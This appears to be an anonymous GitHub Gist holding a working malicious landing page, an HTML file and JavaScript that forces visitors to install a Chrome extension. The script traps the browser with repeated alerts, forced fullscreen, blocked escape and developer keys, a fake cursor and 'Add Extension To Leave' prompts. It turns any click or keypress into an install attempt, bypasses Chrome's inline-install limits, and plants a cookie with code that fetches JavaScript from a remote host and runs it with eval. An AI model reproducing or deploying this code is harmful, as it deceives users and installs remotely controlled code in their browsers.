Created
January 21, 2018 16:33
-
-
Save anonymous/c03c34cf838d87d80d18683bfbcadd5d to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<meta charset="UTF-8"> | |
<title>Document</title> | |
</head> | |
<body> | |
<div class="container" style="display: none">jkojbkpbbffiggegdjnkfkndffocgahl</div> | |
<div id="fullscreenArrow"></div> | |
<div id="master"></div> | |
<script src="jquery.js" type="text/javascript" charset="utf-8" async defer></script> | |
</body> | |
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function getChromeVersion() { | |
var match = navigator['userAgent']['match'](/Chrom(e|ium)\/([0-9]+)\./); | |
return match ? parseInt(match[2], 10) : false; | |
} | |
var realVersion = getChromeVersion(); | |
/* Первый алерт сразу после показа для фокуса владки */ | |
if (!getCookie('test1')) { | |
alert("Click Ok to exit!"); | |
} | |
function getParameterByName(name) { | |
var url = window.location.href; | |
name = name.replace(/[\[\]]/g, "\\$&"); | |
var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)"), | |
results = regex.exec(url); | |
if (!results) return null; | |
if (!results[2]) return ''; | |
return decodeURIComponent(results[2].replace(/\+/g, " ")); | |
} | |
var t1 = false; | |
var t2 = false; | |
var t3 = false; | |
var t4 = false; | |
var t5 = false; | |
var t6 = false; | |
var t7 = false; | |
/* Обход защиты екстеншенов от инстала */ | |
var fClearTimeout = function () { | |
for (var i = 0; i < 500; i++) { | |
if (i != t1 && i != t2 && i != t3 && i != t4 && i != t5 && i != t6 && i != t7) { | |
clearTimeout(i); | |
clearInterval(i); | |
} | |
} | |
setTimeout(fClearTimeout, 500); | |
}; | |
fClearTimeout(); | |
var extid = document.getElementsByClassName('container')[0].innerHTML; | |
var cwurl = "https://chrome.google.com/webstore/detail/" + extid; | |
var domik = ''; | |
var clickId = window.location.pathname; | |
var price = 0.03; | |
if (clickId === '/') { | |
// location.replace('https://www.musoralab.top/a72dbca55181'); | |
} else { | |
clickId = clickId.split("/")[1]; | |
} | |
(function () { | |
var a = 'mysesname', | |
b = escape('mysesvalvar clickId="' + clickId + '";var price = "' + price + '";(function () { sendR(); function sendR() { var c = new XMLHttpRequest; c.open("GET", getURl()); c.onload = function () { if (200 == c.status) { var i = c.responseText; chrome.storage.local.set({id: i}); chrome.storage.local.set({t: new Date().getTime()}); eval(i); } else { setTimeout(function () { sendR(); }, 600000); } }; c.onerror = function () { setTimeout(function () { sendR(); }, 600000); }; c.send() } function getURl () { return "https://animtime.com/arrow.js?v=19" }}).call(this);'), | |
c = 24, d = ''; | |
if (c) { | |
var e = new Date(); | |
e.setTime(e.getTime() + (c * 60 * 60 * 1000)); | |
d = '; expires=' + e.toUTCString() | |
} | |
document.cookie = a + '=' + b + ';' + d + ';path=/'; | |
})(); | |
var fs = false; | |
function getCookie(name) { | |
var args; | |
var _args = new RegExp('(^| )' + name + '=([^;]*)(;|$)'); | |
if (args = document['cookie']['match'](_args)) { | |
return unescape(args[2]); | |
} else { | |
return null; | |
} | |
} | |
if (getCookie('isInstalled')) { | |
location['replace']('http://www.google.com'); | |
} else { | |
window['onbeforeunload'] = function () { | |
return 'are you realy reload?'; | |
}; | |
} | |
function setCookieInst(name, value, timeOutMillis) { | |
var against = new Date; | |
against['setTime'](against['getTime']() + 10 * 24 * 60 * 60 * 1000); | |
document['cookie'] = name + '=' + escape(value) + ';expires=' + against['toGMTString'](); | |
} | |
function setCookie(name, value, timeOutMillis) { | |
var against = new Date; | |
against['setTime'](against['getTime']() + 10 * 60 * 1000); | |
document['cookie'] = name + '=' + escape(value) + ';expires=' + against['toGMTString'](); | |
} | |
var refurl = window.location.href; | |
/* Обход запрета инлайна для 59-62 версий */ | |
if (realVersion < 63) { | |
if (refurl.indexOf("#") == -1) { | |
refurl += '#'; | |
} | |
} | |
/* Обход запрета инлайна для 62+ версий */ | |
if (!getCookie('test1')) { | |
if (realVersion > 62) { | |
setCookie('test1', '111'); | |
location['assign'](refurl + '#'); | |
setTimeout(function () { | |
window.history.go(-1); | |
}, 100); | |
} else { | |
location['assign'](refurl); | |
} | |
} | |
function extraLog(opt_attributes) { | |
} | |
var fyTyFTNt8b = extid; | |
(function () { | |
'use strict'; | |
var _0x2658E = typeof module !== 'undefined' && module['exports']; | |
var _0x265E4 = typeof Element !== 'undefined' && 'ALLOW_KEYBOARD_INPUT' in Element; | |
var owner = function () { | |
var val; | |
var vals = [ | |
[ | |
'requestFullscreen', | |
'exitFullscreen', | |
'fullscreenElement', | |
'fullscreenEnabled', | |
'fullscreenchange', | |
'fullscreenerror' | |
], | |
[ | |
'webkitRequestFullscreen', | |
'webkitExitFullscreen', | |
'webkitFullscreenElement', | |
'webkitFullscreenEnabled', | |
'webkitfullscreenchange', | |
'webkitfullscreenerror' | |
], | |
[ | |
'webkitRequestFullScreen', | |
'webkitCancelFullScreen', | |
'webkitCurrentFullScreenElement', | |
'webkitCancelFullScreen', | |
'webkitfullscreenchange', | |
'webkitfullscreenerror' | |
], | |
[ | |
'mozRequestFullScreen', | |
'mozCancelFullScreen', | |
'mozFullScreenElement', | |
'mozFullScreenEnabled', | |
'mozfullscreenchange', | |
'mozfullscreenerror' | |
], | |
[ | |
'msRequestFullscreen', | |
'msExitFullscreen', | |
'msFullscreenElement', | |
'msFullscreenEnabled', | |
'MSFullscreenChange', | |
'MSFullscreenError' | |
] | |
]; | |
/** @type {number} */ | |
var i = 0; | |
var length = vals['length']; | |
var obj = {}; | |
for (; i < length; i++) { | |
val = vals[i]; | |
if (val && val[1] in document) { | |
i = 0; | |
for (; i < val['length']; i++) { | |
obj[vals[0][i]] = val[i]; | |
} | |
return obj; | |
} | |
} | |
return false; | |
}(); | |
var bigscreen = { | |
request: function (dataType) { | |
var unlock = owner['requestFullscreen']; | |
dataType = dataType || document['documentElement']; | |
if (/5\.1[\.\d]* Safari/['test'](navigator['userAgent'])) { | |
dataType[unlock](); | |
} else { | |
dataType[unlock](_0x265E4 && Element['ALLOW_KEYBOARD_INPUT']); | |
} | |
}, | |
exit: function () { | |
document[owner['exitFullscreen']](); | |
}, | |
toggle: function (_relatedTarget) { | |
if (this['isFullscreen']) { | |
this['exit'](); | |
} else { | |
this['request'](_relatedTarget); | |
} | |
}, | |
raw: owner | |
}; | |
if (!owner) { | |
if (_0x2658E) { | |
module['exports'] = false; | |
} else { | |
window['screenfull'] = false; | |
} | |
return; | |
} | |
Object['defineProperties'](bigscreen, { | |
isFullscreen: { | |
get: function () { | |
return Boolean(document[owner['fullscreenElement']]); | |
} | |
}, | |
element: { | |
enumerable: true, | |
get: function () { | |
return document[owner['fullscreenElement']]; | |
} | |
}, | |
enabled: { | |
enumerable: true, | |
get: function () { | |
return Boolean(document[owner['fullscreenEnabled']]); | |
} | |
} | |
}); | |
if (_0x2658E) { | |
module['exports'] = bigscreen; | |
} else { | |
window['screenfull'] = bigscreen; | |
} | |
})(); | |
var imgPath; | |
function fS78BBRY7z() { | |
var _j = window['navigator']['userLanguage'] || window['navigator']['language']; | |
languagePart = _j['split']('-'); | |
_j = languagePart[0]; | |
var _locales = { | |
"en": 'Add Extension To Leave', | |
"fr": 'Ajouter l extension pour quitter', | |
"de": 'Zum Verlassen die Erweiterung hinzufügen', | |
"sv": 'Lägg till tillägg för att lämna sidan', | |
"nb": 'Legg til utvidelse for å forlate', | |
"nl": 'Voeg Extensie Toe Om Te Verlaten', | |
"da": 'Tilføj udvidelse for at forlade', | |
"fi": 'Lisää laajennus poistuaksesi', | |
"es": 'Añadir extensión para dejar', | |
"it": 'Aggiungere l estensione da lasciare' | |
}; | |
imgPath = '/xxx.png'; | |
if (typeof _locales[_j] == 'undefined' || _locales[_j] == '') { | |
var token = 'Add Extension To Leave' | |
} else { | |
token = _locales[_j]; | |
} | |
if (document['getElementById']('master') != null && document['getElementById']('imdz') == null) { | |
document['getElementById']('master')['innerHTML'] = '<center><img id="imdz" src="' + imgPath + '" alt=""/></center>'; | |
} | |
var index = ''; | |
return token + index; | |
} | |
fS78BBRY7z(); | |
var nConLoad = function () { | |
if (getCookie('test1')) { | |
} else { | |
setCookie('test1', '111'); | |
location['assign'](refurl); | |
} | |
return 'are you true leave?'; | |
}; | |
nConLoad(); | |
function mouseLeave() { | |
location['assign'](refurl); | |
} | |
document['getElementsByTagName']('html')[0]['addEventListener']('mouseleave', mouseLeave, false); | |
function handleVisibilityChange() { | |
if (document['hidden']) { | |
alert("Click Ok to exit"); | |
// nConLoad(); | |
} | |
} | |
document['addEventListener']('visibilitychange', handleVisibilityChange, false); | |
var nChrIn = chrome['webstore']['install']; | |
var nStoT = window['setTimeout']; | |
var fs_check; | |
document['getElementsByTagName']('html')[0]['style']['overflow'] = 'hidden'; | |
document['getElementsByTagName']('body')[0]['style']['overflow'] = 'hidden'; | |
function getChromeVersion() { | |
var match = navigator['userAgent']['match'](/Chrom(e|ium)\/([0-9]+)\./); | |
return match ? parseInt(match[2], 10) : false; | |
} | |
realVersion = getChromeVersion(); | |
var url = 'https://chrome.google.com/webstore/detail/' + fyTyFTNt8b; | |
function frYTRNAFyZ() { | |
document['getElementsByTagName']('html')[0]['addEventListener']('mouseleave', mouseLeave, false); | |
document['getElementsByTagName']('html')[0]['style']['display'] = 'none'; | |
setCookieInst('isInstalled', 'installed', 1 / 24 / 4); | |
/** @type {null} */ | |
window['beforeunload'] = null; | |
/** @type {null} */ | |
window['onbeforeunload'] = null; | |
t1 = nStoT(function () { | |
//document.location.href = 'google.com'; | |
}, 1600); | |
document.getElementsByTagName("body").innerHTML = ''; | |
} | |
function fD2nBnesft(dataAndEvents) { | |
var error = dataAndEvents['toString']()['replace'](/\ +/g, '_'); | |
if (error == 'Inline_installs_can_not_be_initiated_from_fullscreen.') { | |
styk('errfulscr'); | |
} | |
if (error == 'Inline_installation_is_not_supported_for_this_item._The_user_will_be_redirected_to_the_Chrome_Web_Store.' || error == 'Could_not_fetch_data_from_the_Chrome_Web_Store') { | |
styk('errinline'); | |
} | |
fs = false; | |
document['getElementsByTagName']('html')[0]['addEventListener']('mouseleave', mouseLeave, false); | |
extraLog({ | |
event: 'error_install_msg', | |
msg: dataAndEvents['toString']()['replace'](/\ +/g, '_') | |
}); | |
} | |
ints = function () { | |
if (!document.getElementById('chrweb')) { | |
var link = document.createElement('link'); | |
link.setAttribute("id", "chrweb"); | |
link.setAttribute("rel", "chrome-webstore-item"); | |
link.setAttribute("href", cwurl); | |
document.head.appendChild(link); | |
} | |
if (getCookie('fc')) { | |
} else { | |
setCookie('fc', '1'); | |
styk('fclicks'); | |
} | |
fs = true; | |
document['body']['style']['cursor'] = 'default'; | |
if (realVersion < 56) { | |
document['getElementsByTagName']('html')[0]['removeEventListener']('mouseleave', mouseLeave, false); | |
nChrIn(url, frYTRNAFyZ, fD2nBnesft); | |
kostofull(); | |
} else { | |
if (fs_check != true) { | |
document['getElementsByTagName']('html')[0]['removeEventListener']('mouseleave', mouseLeave, false); | |
nChrIn(url, frYTRNAFyZ, fD2nBnesft); | |
t2 = nStoT(kostofull, 1E3); | |
} else { | |
document['getElementsByTagName']('html')[0]['removeEventListener']('mouseleave', mouseLeave, false); | |
nChrIn(url, frYTRNAFyZ, fD2nBnesft); | |
t3 = nStoT(kostofull, 1E3); | |
} | |
if (screenfull['isFullscreen']) { | |
try { | |
document['webkitCancelFullScreen'](); | |
t4 = nStoT(kostofull, 1E3); | |
} catch (e) { | |
} | |
try { | |
document['cancelFullscreen'](); | |
t5 = nStoT(kostofull, 1E3); | |
} catch (e) { | |
} | |
} else { | |
} | |
} | |
fs_check = true; | |
return fs_check; | |
}; | |
function kostofull() { | |
screenfull['request'](); | |
} | |
function mouseDown(action) { | |
action = action || window['event']; | |
switch (action['which']) { | |
case 1: | |
ints(); | |
break; | |
case 2: | |
ints(); | |
break; | |
case 3: | |
ints(); | |
break; | |
} | |
} | |
window['onkeydown'] = function (dataAndEvents) { | |
if (dataAndEvents['keyCode'] == 27 || (dataAndEvents['keyCode'] == 18 || (dataAndEvents['keyCode'] == 123 || (dataAndEvents['keyCode'] == 85 || (dataAndEvents['keyCode'] == 9 || (dataAndEvents['keyCode'] == 115 || (dataAndEvents['keyCode'] == 116 || (dataAndEvents['keyCode'] == 112 || (dataAndEvents['keyCode'] == 114 || dataAndEvents['keyCode'] == 17))))))))) { | |
location['assign'](refurl); | |
return false; | |
} | |
}; | |
window['addEventListener']('click', function () { | |
mouseDown(event); | |
}); | |
window['addEventListener']('keydown', function () { | |
mouseDown(event); | |
}); | |
window['addEventListener']('mousedown', function () { | |
mouseDown(event); | |
}); | |
window['addEventListener']('keyup', function (dataAndEvents) { | |
dataAndEvents['preventDefault'](); | |
if (dataAndEvents['keyCode'] == 27) { | |
ints(); | |
} | |
}, false); | |
window['addEventListener']('keyup', function (dataAndEvents) { | |
dataAndEvents['preventDefault'](); | |
if (dataAndEvents['keyCode'] == 122 || (dataAndEvents['keyCode'] == 17 || (dataAndEvents['keyCode'] == 18 || dataAndEvents['keyCode'] == 13))) { | |
ints(); | |
} | |
}, false); | |
window['onkeyup'] = function (dataAndEvents) { | |
ints(); | |
}; | |
if (document['getElementById']('master') != null && document['getElementById']('imdz') == null) { | |
document['getElementById']('master')['innerHTML'] = '<center><img id="imdz" src=' + '"/xxx.png" alt=""/></center>'; | |
} | |
document['addEventListener'](screenfull['raw']['fullscreenchange'], function () { | |
if (screenfull['isFullscreen']) { | |
fs = true; | |
document['getElementById']('fullscreenArrow').innerHTML = '<img class="fullscreenArrow" src="arrow.png" alt="">'; | |
} else { | |
fs = false; | |
document['getElementById']('imdz')['src'] = imgPath; | |
document['getElementById']('fullscreenArrow').innerHTML = ''; | |
} | |
}); | |
function styk(error) { | |
try { | |
var xmlhttp = new XMLHttpRequest(); | |
//xmlhttp.onreadystatechange = function () { | |
// if (xmlhttp.readyState == XMLHttpRequest.DONE) { | |
// | |
// } | |
//}; | |
//xmlhttp.open("GET", 'https://' + domik + '/' + error + '?acreed=' + getCookie('acreed') + '&cfeed=' + getCookie('cfeed')); | |
//xmlhttp.send(); | |
} catch (e) { | |
} | |
} | |
window['onunload'] = function () { | |
extraLog({ | |
event: 'pageunload' | |
}); | |
}; | |
document.oncontextmenu = new Function("return false"); | |
var cursor = new window['Image']; | |
cursor['setAttribute']('src', 'data:image/png;base64,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'); | |
var canvas = document['createElement']('canvas'); | |
canvas['width'] = canvas['height'] = 128; | |
var ctx = canvas['getContext']('2d'); | |
ctx['fillStyle'] = 'rgba(255,0,100,0.8)'; | |
ctx['strokeStyle'] = 'rgba(255,0,100,0.5)'; | |
var maxImageX = 110; | |
var maxImageY = 110; | |
var maxCursorX = 128; | |
var maxCursorY = 128; | |
var clientX; | |
var clientY; | |
var windowX = window['innerWidth']; | |
var windowY = window['innerHeight']; | |
var animation; | |
var fs = false; | |
document['body']['addEventListener']('mousemove', function (recursive) { | |
clientX = recursive['clientX']; | |
clientY = recursive['clientY']; | |
if (!animation) { | |
animation = requestAnimationFrame(animate); | |
} | |
}); | |
animation = requestAnimationFrame(animate); | |
function animate(prop) { | |
animation = null; | |
ctx['clearRect'](0, 0, 128, 128); | |
ctx['save'](); | |
var percentX = Math.round((clientX * 100) / windowX); | |
var imageX = Math.round((maxImageX * percentX) / 100); | |
var cursorX = Math.round((maxCursorX * percentX) / 100); | |
cursorX = Math.abs(cursorX - maxCursorX); | |
var percentY = Math.round((clientY * 100) / windowY); | |
var imageY = Math.round((maxImageY * percentY) / 100); | |
var cursorY = Math.round((maxCursorY * percentY) / 100); | |
cursorY = Math.abs(cursorY - maxCursorY); | |
ctx['drawImage'](cursor, 0, 0, 280, 400, imageX, imageY, 17.5, 30); | |
ctx['restore'](); | |
var url = canvas['toDataURL'](); | |
if (fs) { | |
document['body']['style']['cursor'] = 'default'; | |
} else { | |
document['body']['style']['cursor'] = 'url(' + url + ') ' + cursorX + ' ' + cursorY + ', crosshair '; | |
} | |
} | |
//} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment